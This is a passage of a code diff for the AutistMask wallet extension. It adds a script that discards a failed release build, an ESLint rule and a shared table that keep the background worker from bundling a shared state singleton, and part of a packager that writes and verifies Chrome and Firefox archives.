ROOT="$(cd "$(dirname "$0")/.." && pwd -P)"
|
||||||
|
DIST="$ROOT/dist"
|
||||||
|
|
||||||
|
usage() {
|
||||||
|
echo "usage: discard-dist-on-failure COMMAND [ARG...]" >&2
|
||||||
|
}
|
||||||
|
|
||||||
|
# Remove dist/, and say so. A removal that could not be completed is reported as
|
||||||
|
# loudly as one that was: the artifact is still on disk, and reporting nothing
|
||||||
|
# would leave the operator believing it is not.
|
||||||
|
discard_dist() {
|
||||||
|
if [ ! -e "$DIST" ] && [ ! -h "$DIST" ]; then
|
||||||
|
echo "discard-dist-on-failure: the release build failed. There was no" \
|
||||||
|
"dist/ to remove." >&2
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
rm -rf "$DIST" || true
|
||||||
|
|
||||||
|
if [ -e "$DIST" ] || [ -h "$DIST" ]; then
|
||||||
|
echo "discard-dist-on-failure: the release build failed and dist/" \
|
||||||
|
"COULD NOT BE REMOVED, so it is still on disk. Do not load it:" \
|
||||||
|
"a release build that failed may hold a complete debug bundle," \
|
||||||
|
"whose wallets all use the publicly committed test recovery" \
|
||||||
|
"phrase. Remove it by hand (make clean)." >&2
|
||||||
|
return 0
|
||||||
|
fi
|
||||||
|
|
||||||
|
echo "discard-dist-on-failure: the release build failed, so dist/ WAS" \
|
||||||
|
"REMOVED and no longer exists. A release build that fails has often" \
|
||||||
|
"already emitted a complete, loadable debug bundle — every wallet it" \
|
||||||
|
"creates gets the publicly committed test recovery phrase — so the" \
|
||||||
|
"failed build is not left behind to be loaded. Fix the failure and" \
|
||||||
|
"re-run make build, or run make build-debug if a debug build is what" \
|
||||||
|
"was wanted; that target keeps its output." >&2
|
||||||
|
}
|
||||||
|
|
||||||
|
main() {
|
||||||
|
[ "$#" -ge 1 ] || {
|
||||||
|
usage
|
||||||
|
echo "discard-dist-on-failure: no command given, so no build step ran" \
|
||||||
|
"and nothing was removed." >&2
|
||||||
|
exit 1
|
||||||
|
}
|
||||||
|
|
||||||
|
_status=0
|
||||||
|
"$@" || _status=$?
|
||||||
|
|
||||||
|
[ "$_status" -ne 0 ] || return 0
|
||||||
|
|
||||||
|
discard_dist
|
||||||
|
exit "$_status"
|
||||||
|
}
|
||||||
|
|
||||||
|
main "$@"
|
||||||
206
script/lib/eslint/noStateSingletonInBackground.js
Normal file
206
script/lib/eslint/noStateSingletonInBackground.js
Normal file
@@ -0,0 +1,206 @@
|
|||||||
|
// ESLint rule: the background bundle may not reach the shared state singleton.
|
||||||
|
//
|
||||||
|
// src/shared/state.js holds a module-level `state` object, loaded once by
|
||||||
|
// loadState() and mutated in place from then on. That is the popup's model. In
|
||||||
|
// the MV3 service worker there is no "once": the worker is terminated when
|
||||||
|
// idle and revived by the next message, nothing loads state at module scope,
|
||||||
|
// and an unpopulated read used to be served DEFAULT_STATE without complaint —
|
||||||
|
// five defects, one cause
|
||||||
|
// (https://git.eeqj.de/sneak/AutistMask/issues/324). The background has its
|
||||||
|
// own per-call storage layer in src/background/state.js instead.
|
||||||
|
//
|
||||||
|
// THIS RULE IS NOT THE GUARANTEE, and must not be described as one. The
|
||||||
|
// guarantee is in build.js: FORBIDDEN_INPUTS / assertNoForbiddenInputs() fails
|
||||||
|
// the build when esbuild's own metafile reports src/shared/state.js as an input
|
||||||
|
// of a background bundle. That consults the resolution esbuild actually
|
||||||
|
// performed, so no specifier syntax and no resolution rule can slip past it,
|
||||||
|
// and Dockerfile:42 runs `make build` in CI.
|
||||||
|
//
|
||||||
|
// What this rule is: fast local feedback, in the editor and in `make lint`,
|
||||||
|
// before a full bundle. It reads sources from disk and matches import
|
||||||
|
// specifiers TEXTUALLY, so it is a best-effort approximation of module
|
||||||
|
// resolution — a hand-rolled matcher will diverge from a real bundler, and two
|
||||||
|
// earlier revisions of this file proved it by shipping holes (a template
|
||||||
|
// literal, a dynamic `import()`, a comment inside the call, a directory
|
||||||
|
// resolved through `package.json` `main`). Those are all covered now, and the
|
||||||
|
// next divergence is caught by the build rather than by widening this again.
|
||||||
|
//
|
||||||
|
// It checks REACHABILITY, not just the direct require: the singleton is one
|
||||||
|
// `require()` away from any shared module the background pulls in, and a
|
||||||
|
// re-export would put it back in the bundle without any background file naming
|
||||||
|
// it. So each background file is the root of a walk over the CommonJS require
|
||||||
|
// graph, and the error names the whole chain that brought the singleton in.
|
||||||
|
//
|
||||||
|
// Matching textually over-approximates — a specifier inside a comment or a
|
||||||
|
// string counts — which is the safe direction here: the failure mode is a
|
||||||
|
// spurious error naming an exact file and line, not a silent hole.
|
||||||
|
//
|
||||||
|
// Two shapes this rule does NOT report, both of which the build does fail on
|
||||||
|
// (each measured with `make lint` and `make build` on the branch that added
|
||||||
|
// this note):
|
||||||
|
//
|
||||||
|
// - a computed specifier, `require("../shared/" + "state")` — esbuild
|
||||||
|
// constant-folds it, so it is in the bundle and `make build` is exit 2
|
||||||
|
// naming src/shared/state.js, while `make lint` is exit 0. Same for
|
||||||
|
// `import("../shared/" + variable)`, which esbuild resolves as a glob.
|
||||||
|
// - a symlink to the module — esbuild reports the real path and fails the
|
||||||
|
// build; this rule resolves the link's own path and sees a different file.
|
||||||
|
//
|
||||||
|
// Both are pinned as non-reports in tests/backgroundStateLintRule.test.js, so
|
||||||
|
// this list is a measured description of the rule rather than a claim about
|
||||||
|
// it. They are known divergences, not things that cannot happen. A
|
||||||
|
// matcher will keep diverging from a bundler; that is why the guarantee is the
|
||||||
|
// build's and this rule is not widened again to chase them.
|
||||||
|
|
||||||
|
const fs = require("fs");
|
||||||
|
const path = require("path");
|
||||||
|
|
||||||
|
const { FORBIDDEN_INPUTS } = require("../forbiddenBundleInputs");
|
||||||
|
|
||||||
|
// The modules to keep out, repo-relative, taken from the same table build.js
|
||||||
|
// asserts against so that the two layers cannot name different paths. A second
|
||||||
|
// literal copy here is how a rename disarms one of them while the other still
|
||||||
|
// looks enforced.
|
||||||
|
const FORBIDDEN = [...new Set(Object.values(FORBIDDEN_INPUTS).flat())];
|
||||||
|
|
||||||
|
// Whatever may sit between a keyword, a paren and a specifier: whitespace and
|
||||||
|
// comments. `import(/* webpackChunkName: "x" */ "./x")` is a standard bundler
|
||||||
|
// idiom, and an inline `/* eslint-… */` is just as ordinary, so a matcher that
|
||||||
|
// allows only \s there is not strict, it is broken. Each alternative starts
|
||||||
|
// with a distinct character, so this cannot backtrack quadratically.
|
||||||
|
const GAP = "(?:\\s|/\\*[^]*?\\*/|//[^\\n]*)";
|
||||||
|
const SPECIFIER = "[\"'`]([^\"'`]+)[\"'`]";
|
||||||
|
|
||||||
|
// Both alternatives capture the specifier: call form first
|
||||||
|
// (`require(...)`/`import(...)`), then clause form (`from "x"`, and the bare
|
||||||
|
// side-effect `import "x"`). Nothing after the specifier is matched, so a
|
||||||
|
// trailing comment or a trailing comma cannot break the match either.
|
||||||
|
const SPECIFIER_RE = new RegExp(
|
||||||
|
`\\b(?:require|import)${GAP}*\\(${GAP}*${SPECIFIER}` +
|
||||||
|
`|\\b(?:from|import)${GAP}+${SPECIFIER}`,
|
||||||
|
"g",
|
||||||
|
);
|
||||||
|
|
||||||
|
// The `main` of a directory's package.json, as a specifier relative to that
|
||||||
|
// directory, or null. esbuild resolves a directory through it, so a walk that
|
||||||
|
// stops at `<dir>/index.js` reports a specifier it matched perfectly well as
|
||||||
|
// unresolvable.
|
||||||
|
function packageMain(dir) {
|
||||||
|
try {
|
||||||
|
const pkg = JSON.parse(
|
||||||
|
fs.readFileSync(path.join(dir, "package.json"), "utf8"),
|
||||||
|
);
|
||||||
|
return typeof pkg.main === "string" && pkg.main ? pkg.main : null;
|
||||||
|
} catch {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// Resolve a relative require to a file path, trying what node and esbuild would
|
||||||
|
// in the order they would: the path itself, then extensions, then the directory
|
||||||
|
// (its package.json `main`, then its index.js).
|
||||||
|
function resolveRelative(fromFile, spec) {
|
||||||
|
if (!spec.startsWith(".")) return null; // a package, not our tree
|
||||||
|
const base = path.resolve(path.dirname(fromFile), spec);
|
||||||
|
const main = packageMain(base);
|
||||||
|
for (const candidate of [
|
||||||
|
base,
|
||||||
|
base + ".js",
|
||||||
|
base + ".json",
|
||||||
|
...(main
|
||||||
|
? [path.resolve(base, main), path.resolve(base, main) + ".js"]
|
||||||
|
: []),
|
||||||
|
path.join(base, "index.js"),
|
||||||
|
]) {
|
||||||
|
try {
|
||||||
|
if (fs.statSync(candidate).isFile()) return candidate;
|
||||||
|
} catch {
|
||||||
|
// Not this candidate.
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
function requiresOf(file) {
|
||||||
|
let source;
|
||||||
|
try {
|
||||||
|
source = fs.readFileSync(file, "utf8");
|
||||||
|
} catch {
|
||||||
|
return [];
|
||||||
|
}
|
||||||
|
const out = [];
|
||||||
|
for (const match of source.matchAll(SPECIFIER_RE)) {
|
||||||
|
const resolved = resolveRelative(file, match[1] ?? match[2]);
|
||||||
|
if (resolved) out.push(resolved);
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Breadth-first from `entry`, returning the shortest chain of files that ends
|
||||||
|
// at one of the forbidden modules, or null when none is reachable.
|
||||||
|
function chainToForbidden(entry, forbidden) {
|
||||||
|
const seen = new Set([entry]);
|
||||||
|
const queue = [[entry]];
|
||||||
|
while (queue.length > 0) {
|
||||||
|
const chain = queue.shift();
|
||||||
|
for (const next of requiresOf(chain[chain.length - 1])) {
|
||||||
|
if (forbidden.has(next)) return chain.concat([next]);
|
||||||
|
if (seen.has(next)) continue;
|
||||||
|
seen.add(next);
|
||||||
|
queue.push(chain.concat([next]));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
const rule = {
|
||||||
|
meta: {
|
||||||
|
type: "problem",
|
||||||
|
docs: {
|
||||||
|
description:
|
||||||
|
"the background bundle must not be able to reach the" +
|
||||||
|
" module-level state singleton in src/shared/state.js",
|
||||||
|
},
|
||||||
|
schema: [],
|
||||||
|
messages: {
|
||||||
|
reachable:
|
||||||
|
"The background must not reach the shared state singleton:" +
|
||||||
|
" {{chain}}. The MV3 worker never populates it, so reading it" +
|
||||||
|
" serves DEFAULT_STATE. Use getState()/updateState() from" +
|
||||||
|
" src/background/state.js instead.",
|
||||||
|
},
|
||||||
|
},
|
||||||
|
|
||||||
|
create(context) {
|
||||||
|
return {
|
||||||
|
"Program:exit"(node) {
|
||||||
|
const filename = context.filename;
|
||||||
|
// ESLint lints from the repo root, which is also where the
|
||||||
|
// forbidden paths are anchored.
|
||||||
|
const forbidden = new Set(
|
||||||
|
FORBIDDEN.map((module) =>
|
||||||
|
path.resolve(context.cwd, module),
|
||||||
|
),
|
||||||
|
);
|
||||||
|
const chain = chainToForbidden(
|
||||||
|
path.resolve(filename),
|
||||||
|
forbidden,
|
||||||
|
);
|
||||||
|
if (!chain) return;
|
||||||
|
context.report({
|
||||||
|
node,
|
||||||
|
messageId: "reachable",
|
||||||
|
data: {
|
||||||
|
chain: chain
|
||||||
|
.map((file) => path.relative(context.cwd, file))
|
||||||
|
.join(" -> "),
|
||||||
|
},
|
||||||
|
});
|
||||||
|
},
|
||||||
|
};
|
||||||
|
},
|
||||||
|
};
|
||||||
|
|
||||||
|
module.exports = {
|
||||||
|
rules: { "no-state-singleton-in-background": rule },
|
||||||
|
};
|
||||||
123
script/lib/forbiddenBundleInputs.js
Normal file
123
script/lib/forbiddenBundleInputs.js
Normal file
@@ -0,0 +1,123 @@
|
|||||||
|
// The modules a given entry point's bundle may not contain, keyed by the
|
||||||
|
// repo-relative entry point.
|
||||||
|
//
|
||||||
|
// ONE table, read by both layers that act on it: build.js asserts it against
|
||||||
|
// esbuild's own metafile (the guarantee), and
|
||||||
|
// script/lib/eslint/noStateSingletonInBackground.js reports the same
|
||||||
|
// prohibition in the editor (fast feedback). It lives here because a second
|
||||||
|
// literal copy of the path is exactly how a rename disarms one layer while the
|
||||||
|
// other still looks enforced.
|
||||||
|
//
|
||||||
|
// src/shared/state.js holds a module-level `state` object, loaded once by
|
||||||
|
// loadState() and mutated in place from then on. That is the popup's model:
|
||||||
|
// one page, one load at boot, one lifetime. The MV3 service worker has no
|
||||||
|
// "once" — it is killed when idle and revived by the next message, nothing
|
||||||
|
// loads state at module scope, and an unpopulated read was answered out of
|
||||||
|
// DEFAULT_STATE in silence. Five defects came from that, one of which
|
||||||
|
// destroyed a wallet (https://git.eeqj.de/sneak/AutistMask/issues/324). The
|
||||||
|
// background has its own per-call storage layer in src/background/state.js
|
||||||
|
// instead.
|
||||||
|
//
|
||||||
|
// What build.js's assertion covers, measured rather than assumed:
|
||||||
|
//
|
||||||
|
// - Any import of a listed module, at any hop, in any specifier syntax,
|
||||||
|
// however esbuild resolved it. The check reads the input list esbuild
|
||||||
|
// reported for the emitted bundle, so it is the resolution the shipped
|
||||||
|
// file was built from and not a model of it. Measured on a computed
|
||||||
|
// specifier that esbuild constant-folds (`require("../shared/" +
|
||||||
|
// "state")`), on a computed specifier it resolves as a glob
|
||||||
|
// (`import("../shared/" + variable)`), and on a symlink to the module
|
||||||
|
// (esbuild reports the real path): each is `make build` exit 2.
|
||||||
|
//
|
||||||
|
// - Every background entry point, whether or not anyone remembered to list
|
||||||
|
// it. A bundled entry point under BACKGROUND_ENTRY_PREFIX with no line in
|
||||||
|
// this table fails the build (assertNoForbiddenInputs()), so adding a
|
||||||
|
// second worker entry point is protected by default rather than protected
|
||||||
|
// only if the person adding it knew about this file. Measured: bundling
|
||||||
|
// src/background/worker2.js with no line here is `make build` exit 2.
|
||||||
|
//
|
||||||
|
// - NOT covered: a COPY of a listed module at another path. The table is
|
||||||
|
// keyed by path, so `cp src/shared/state.js src/shared/stateCopy.js` plus
|
||||||
|
// a background require of the copy is `make build` exit 0 and `make lint`
|
||||||
|
// exit 0 (measured). The copy carries the singleton's own guard, so
|
||||||
|
// defects 1-3 of https://git.eeqj.de/sneak/AutistMask/issues/324 — a read
|
||||||
|
// of a field nothing loaded — become a loud StateNotLoadedError instead of
|
||||||
|
// a silent DEFAULT_STATE. Defects 4 and 5 do NOT: a copy also carries
|
||||||
|
// loadState(), and a stale read several awaits after a load, or a load
|
||||||
|
// detaching the objects an in-flight handler is mutating, are silent over
|
||||||
|
// a LOADED singleton whether it is the original or a copy. So the residual
|
||||||
|
// is wider than "it fails loudly". A newly WRITTEN singleton has no
|
||||||
|
// backstop at all.
|
||||||
|
//
|
||||||
|
// - NOT covered: a background-behaving entry point outside
|
||||||
|
// BACKGROUND_ENTRY_PREFIX. The default protection above is keyed on that
|
||||||
|
// directory, which is also what eslint.config.js scopes the rule to, so a
|
||||||
|
// worker entry point placed somewhere else is covered by neither layer and
|
||||||
|
// needs its own line here.
|
||||||
|
//
|
||||||
|
// The ESLint rule's bounds are its own and are narrower: it matches specifiers
|
||||||
|
// textually, so a computed specifier and a symlink to a listed module are
|
||||||
|
// reported by the build and not by the rule. Both are pinned as non-reports in
|
||||||
|
// tests/backgroundStateLintRule.test.js and are `make build` exit 2 (measured).
|
||||||
|
// A second background entry point reached by one of those two shapes is
|
||||||
|
// therefore caught by the build and not by the rule — which is the same
|
||||||
|
// division of labour as everywhere else here, not an extra hole.
|
||||||
|
//
|
||||||
|
// Every way the table itself can rot is a failure rather than a quiet pass:
|
||||||
|
//
|
||||||
|
// - a KEY no bundled entry point matched, and a listed MODULE this build
|
||||||
|
// bundled nowhere: assertForbiddenTableCovered(), at the end of a build;
|
||||||
|
// - an entry that lists NO modules, and a table with no entries at all:
|
||||||
|
// assertTableWellFormed() below, at require time — so it fails the build
|
||||||
|
// and the lint run alike, because the rule reads the same values and an
|
||||||
|
// empty list leaves it with nothing to look for.
|
||||||
|
//
|
||||||
|
// All of it is pinned by tests/buildForbiddenInputs.test.js.
|
||||||
|
|
||||||
|
// What counts as a background entry point, and therefore must be listed above.
|
||||||
|
// The build has no other notion of one: entry points are the paths handed to
|
||||||
|
// bundle(), and this prefix is the narrowest rule that names the worker's
|
||||||
|
// directory. eslint.config.js scopes the lint rule with the same prefix, from
|
||||||
|
// this constant, so the two layers cannot disagree about what "background"
|
||||||
|
// means.
|
||||||
|
const BACKGROUND_ENTRY_PREFIX = "src/background/";
|
||||||
|
|
||||||
|
const FORBIDDEN_INPUTS = {
|
||||||
|
"src/background/index.js": ["src/shared/state.js"],
|
||||||
|
};
|
||||||
|
|
||||||
|
// Refuse a table that cannot prohibit anything. An entry whose module list is
|
||||||
|
// empty passes every check in both layers while enforcing nothing: the build
|
||||||
|
// finds no module to look for and records the entry as checked, and the rule's
|
||||||
|
// forbidden set — Object.values(...).flat() — comes back empty, so a plain
|
||||||
|
// `require("../shared/state")` in the worker is green everywhere. That is a
|
||||||
|
// one-character edit, so it fails here, where the table is defined and both
|
||||||
|
// layers must load it, rather than in either layer's own checks.
|
||||||
|
function assertTableWellFormed(table) {
|
||||||
|
const entries = Object.entries(table);
|
||||||
|
if (entries.length === 0) {
|
||||||
|
throw new Error(
|
||||||
|
"FORBIDDEN_INPUTS is empty, so nothing is prohibited anywhere. " +
|
||||||
|
"Removing the last entry disables the guarantee behind " +
|
||||||
|
"https://git.eeqj.de/sneak/AutistMask/issues/324.",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
for (const [entry, modules] of entries) {
|
||||||
|
if (!Array.isArray(modules) || modules.length === 0) {
|
||||||
|
throw new Error(
|
||||||
|
`FORBIDDEN_INPUTS["${entry}"] lists no modules, so it ` +
|
||||||
|
`prohibits nothing while still looking enforced. Give it ` +
|
||||||
|
`the modules that entry point may not reach, or remove ` +
|
||||||
|
`the entry.`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
assertTableWellFormed(FORBIDDEN_INPUTS);
|
||||||
|
|
||||||
|
module.exports = {
|
||||||
|
BACKGROUND_ENTRY_PREFIX,
|
||||||
|
FORBIDDEN_INPUTS,
|
||||||
|
assertTableWellFormed,
|
||||||
|
};
|
||||||
294
script/lib/package.js
Normal file
294
script/lib/package.js
Normal file
@@ -0,0 +1,294 @@
|
|||||||
|
// Turn a verified dist/ into the two distributable archives.
|
||||||
|
//
|
||||||
|
// Invoked by script/package, which runs `make build` first so that dist/ has
|
||||||
|
// already been checked against the build's own receipt (see the Build Receipts
|
||||||
|
// section of README.md). This program does not build anything and does not
|
||||||
|
// write into dist/: it reads the emitted tree and writes release/.
|
||||||
|
//
|
||||||
|
// release/autistmask-chrome-<version>.zip loaded via chrome://extensions
|
||||||
|
// release/autistmask-firefox-<version>.xpi an UNSIGNED add-on, see README
|
||||||
|
// release/SHA256SUMS
|
||||||
|
//
|
||||||
|
// Self-containment is checked rather than assumed, because the layout invites
|
||||||
|
// exactly one mistake: build.js emits dist/styles.css at the dist/ ROOT,
|
||||||
|
// outside both browser directories, and copies it into each of them as
|
||||||
|
// src/popup/styles.css. A naive `zip -r dist/chrome` is therefore correct only
|
||||||
|
// by accident, and would stop being correct the moment a reference pointed up
|
||||||
|
// and out. So every path the manifest and the popup HTML reference is resolved
|
||||||
|
// and required to be inside the archive, a reference that escapes the browser
|
||||||
|
// directory is a hard failure, and anything sitting at the dist/ root is
|
||||||
|
// listed as deliberately not shipped rather than silently dropped.
|
||||||
|
//
|
||||||
|
// The archive is then read back and compared byte for byte against the
|
||||||
|
// directory it was built from. An archive nobody opened is a claim, not an
|
||||||
|
// artifact.
|
||||||
|
|
||||||
|
"use strict";
|
||||||
|
|
||||||
|
const crypto = require("crypto");
|
||||||
|
const fs = require("fs");
|
||||||
|
const path = require("path");
|
||||||
|
|
||||||
|
const { readZip, writeZip } = require("./zip");
|
||||||
|
const { resolveVersion } = require("./version");
|
||||||
|
|
||||||
|
const ROOT = path.resolve(__dirname, "..", "..");
|
||||||
|
const DIST = path.join(ROOT, "dist");
|
||||||
|
const RELEASE = path.join(ROOT, "release");
|
||||||
|
|
||||||
|
const TARGETS = [
|
||||||
|
{ dir: "chrome", ext: "zip" },
|
||||||
|
// .xpi rather than .zip: it is the same container, but Firefox's install
|
||||||
|
// flow keys off the extension.
|
||||||
|
{ dir: "firefox", ext: "xpi" },
|
||||||
|
];
|
||||||
|
|
||||||
|
// Strings in a manifest that name a file the extension loads. Matched by
|
||||||
|
// shape, not by a list of manifest keys, so a key added in a later manifest
|
||||||
|
// version is covered the day it appears rather than the day someone remembers
|
||||||
|
// to extend a list here. Nothing else in either manifest looks like this: the
|
||||||
|
// CSP strings, "<all_urls>", the version and the base64 key all fail it.
|
||||||
|
const MANIFEST_PATH_RE =
|
||||||
|
/^[A-Za-z0-9._][A-Za-z0-9._/-]*\.(?:js|css|html|json|png|svg|woff2?)$/;
|
||||||
|
|
||||||
|
// Local references out of an HTML document. Enough for what this repo emits —
|
||||||
|
// one stylesheet link and one script tag — and anything it does not understand
|
||||||
|
// is reported rather than passed over, see htmlReferences().
|
||||||
|
const HTML_REF_RE = /(?:src|href)\s*=\s*["']([^"']+)["']/gi;
|
||||||
|
|
||||||
|
function fail(message) {
|
||||||
|
throw new Error(message);
|
||||||
|
}
|
||||||
|
|
||||||
|
function sha256(buf) {
|
||||||
|
return crypto.createHash("sha256").update(buf).digest("hex");
|
||||||
|
}
|
||||||
|
|
||||||
|
// Every regular file under dir, as archive-root-relative forward-slashed
|
||||||
|
// paths. A symlink is refused rather than followed: build.js emits regular
|
||||||
|
// files only, so a link under dist/ is not something the build produced, and
|
||||||
|
// dereferencing one would put bytes from outside dist/ into the artifact.
|
||||||
|
function listFiles(dir, prefix = "") {
|
||||||
|
const out = [];
|
||||||
|
for (const entry of fs.readdirSync(dir, { withFileTypes: true })) {
|
||||||
|
const rel = prefix ? `${prefix}/${entry.name}` : entry.name;
|
||||||
|
if (entry.isSymbolicLink()) {
|
||||||
|
fail(
|
||||||
|
`${dir}/${entry.name} is a symlink. The build emits regular ` +
|
||||||
|
`files only, so this is not something it produced and it ` +
|
||||||
|
`will not be archived.`,
|
||||||
|
);
|
||||||
|
} else if (entry.isDirectory()) {
|
||||||
|
out.push(...listFiles(path.join(dir, entry.name), rel));
|
||||||
|
} else if (entry.isFile()) {
|
||||||
|
out.push(rel);
|
||||||
|
} else {
|
||||||
|
fail(
|
||||||
|
`${dir}/${entry.name} is neither a regular file nor a ` +
|
||||||
|
`directory, so it is not something the build emitted`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return out.sort();
|
||||||
|
}
|
||||||
|
|
||||||
|
// Collect every string anywhere in the manifest that looks like a file it
|
||||||
|
// loads, plus every string that tries to reach outside the extension root.
|
||||||
|
// The second half is the point: "../styles.css" never matches
|
||||||
|
// MANIFEST_PATH_RE, so without an explicit check an escaping reference would
|
||||||
|
// read as "not a path" and the missing file would be found only by a user
|
||||||
|
// whose popup rendered unstyled.
|
||||||
|
function manifestReferences(value, found = new Set()) {
|
||||||
|
if (typeof value === "string") {
|
||||||
|
if (value.split("/").includes("..")) {
|
||||||
|
fail(
|
||||||
|
`the manifest references ${JSON.stringify(value)}, which ` +
|
||||||
|
`points outside the extension root. Everything the ` +
|
||||||
|
`browser loads has to be inside the archive; nothing ` +
|
||||||
|
`above it is shipped.`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
if (MANIFEST_PATH_RE.test(value)) found.add(value);
|
||||||
|
} else if (Array.isArray(value)) {
|
||||||
|
for (const v of value) manifestReferences(v, found);
|
||||||
|
} else if (value && typeof value === "object") {
|
||||||
|
for (const v of Object.values(value)) manifestReferences(v, found);
|
||||||
|
}
|
||||||
|
return found;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Local references out of one HTML member, resolved against that member's own
|
||||||
|
// directory and returned archive-relative. Absolute URLs, data: URIs and
|
||||||
|
// in-page anchors are not files and are skipped; a relative reference that
|
||||||
|
// climbs out of the archive root is a failure for the same reason as above.
|
||||||
|
function htmlReferences(member, text) {
|
||||||
|
const base = path.posix.dirname(member);
|
||||||
|
const out = new Set();
|
||||||
|
for (const match of text.matchAll(HTML_REF_RE)) {
|
||||||
|
const ref = match[1].trim();
|
||||||
|
if (ref === "" || ref.startsWith("#") || ref.startsWith("//")) continue;
|
||||||
|
if (/^[a-z][a-z0-9+.-]*:/i.test(ref)) continue;
|
||||||
|
if (ref.startsWith("/")) {
|
||||||
|
fail(
|
||||||
|
`${member} references ${JSON.stringify(ref)} from the ` +
|
||||||
|
`extension root. Nothing here emits root-absolute ` +
|
||||||
|
`references and this packager does not resolve them.`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
const resolved = path.posix.normalize(path.posix.join(base, ref));
|
||||||
|
if (resolved.startsWith("..")) {
|
||||||
|
fail(
|
||||||
|
`${member} references ${JSON.stringify(ref)}, which resolves ` +
|
||||||
|
`outside the extension root. build.js copies the ` +
|
||||||
|
`compiled stylesheet into each browser directory for ` +
|
||||||
|
`exactly this reason: dist/styles.css lives at the dist/ ` +
|
||||||
|
`root and is not part of either archive.`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
out.add(resolved);
|
||||||
|
}
|
||||||
|
return out;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Everything the browser is told to load, and the assertion that all of it is
|
||||||
|
// in the archive.
|
||||||
|
function checkSelfContained(target, members, read) {
|
||||||
|
if (!members.includes("manifest.json")) {
|
||||||
|
fail(`dist/${target} has no manifest.json at its root`);
|
||||||
|
}
|
||||||
|
|
||||||
|
const manifest = JSON.parse(read("manifest.json").toString("utf8"));
|
||||||
|
const referenced = new Set(manifestReferences(manifest));
|
||||||
|
|
||||||
|
for (const member of members) {
|
||||||
|
if (!member.endsWith(".html")) continue;
|
||||||
|
for (const ref of htmlReferences(
|
||||||
|
member,
|
||||||
|
read(member).toString("utf8"),
|
||||||
|
)) {
|
||||||
|
referenced.add(ref);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
const missing = [...referenced].filter((r) => !members.includes(r));
|
||||||
|
if (missing.length > 0) {
|
||||||
|
fail(
|
||||||
|
`the ${target} archive would not be self-contained: it is told ` +
|
||||||
|
`to load ${missing.join(", ")}, which ${
|
||||||
|
missing.length === 1 ? "is" : "are"
|
||||||
|
} not in it`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return { manifest, referenced };
|
||||||
|
}
|
||||||
|
|
||||||
|
function main() {
|
||||||
|
const version = resolveVersion(ROOT);
|
||||||
|
|
||||||
|
if (!fs.existsSync(DIST)) {
|
||||||
|
fail(
|
||||||
|
"there is no dist/ to package. script/package runs make build " +
|
||||||
|
"first; run it rather than this program.",
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
fs.rmSync(RELEASE, { recursive: true, force: true });
|
||||||
|
fs.mkdirSync(RELEASE, { recursive: true });
|
||||||
|
|
||||||
|
// Files the build emits at the dist/ root, outside both browser
|
||||||
|
// directories. Printed rather than ignored: dist/styles.css is the
|
||||||
|
// Tailwind output that build.js then copies into each browser directory,
|
||||||
|
// so leaving it out is correct — but "correct and stated" and "dropped by
|
||||||
|
// a glob" are different things, and only one of them survives the next
|
||||||
|
// change to the build.
|
||||||
|
const rootOnly = fs
|
||||||
|
.readdirSync(DIST, { withFileTypes: true })
|
||||||
|
.filter((e) => !e.isDirectory())
|
||||||
|
.map((e) => e.name)
|
||||||
|
.sort();
|
||||||
|
if (rootOnly.length > 0) {
|
||||||
|
console.log(
|
||||||
|
`Not shipped (dist/ root, outside every browser directory, and ` +
|
||||||
|
`referenced by nothing inside one): ${rootOnly.join(", ")}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const sums = [];
|
||||||
|
for (const { dir, ext } of TARGETS) {
|
||||||
|
const targetDir = path.join(DIST, dir);
|
||||||
|
if (!fs.existsSync(targetDir)) {
|
||||||
|
fail(`dist/${dir} does not exist; run make build`);
|
||||||
|
}
|
||||||
|
|
||||||
|
const members = listFiles(targetDir);
|
||||||
|
const readFromDir = (member) =>
|
||||||
|
fs.readFileSync(path.join(targetDir, member));
|
||||||
|
|
||||||
|
const { manifest } = checkSelfContained(dir, members, readFromDir);
|
||||||
|
if (manifest.version !== version) {
|
||||||
|
fail(
|
||||||
|
`dist/${dir}/manifest.json says version ${manifest.version} ` +
|
||||||
|
`but this tree is ${version}. dist/ is stale: run make ` +
|
||||||
|
`build.`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const archive = writeZip(
|
||||||
|
members.map((name) => ({ name, data: readFromDir(name) })),
|
||||||
|
);
|
||||||
|
const name = `autistmask-${dir}-${version}.${ext}`;
|
||||||
|
const outPath = path.join(RELEASE, name);
|
||||||
|
fs.writeFileSync(outPath, archive);
|
||||||
|
|
||||||
|
// Read the artifact back off disk, not the buffer that was just
|
||||||
|
// written: what ships is the file.
|
||||||
|
const written = fs.readFileSync(outPath);
|
||||||
|
const entries = readZip(written);
|
||||||
|
const inArchive = entries.map((e) => e.name).sort();
|
||||||
|
if (inArchive.join("\n") !== members.join("\n")) {
|
||||||
|
fail(
|
||||||
|
`${name} does not hold the same members as dist/${dir}: ` +
|
||||||
|
`archive has ${inArchive.length}, directory has ` +
|
||||||
|
`${members.length}`,
|
||||||
|
);
|
||||||
|
}
|
||||||
|
for (const entry of entries) {
|
||||||
|
const onDisk = readFromDir(entry.name);
|
||||||
|
if (sha256(entry.data) !== sha256(onDisk)) {
|
||||||
|
fail(`${name} member ${entry.name} differs from dist/${dir}`);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
// Re-run the self-containment check against the ARCHIVE's own
|
||||||
|
// contents. The directory passing it is not the claim being made.
|
||||||
|
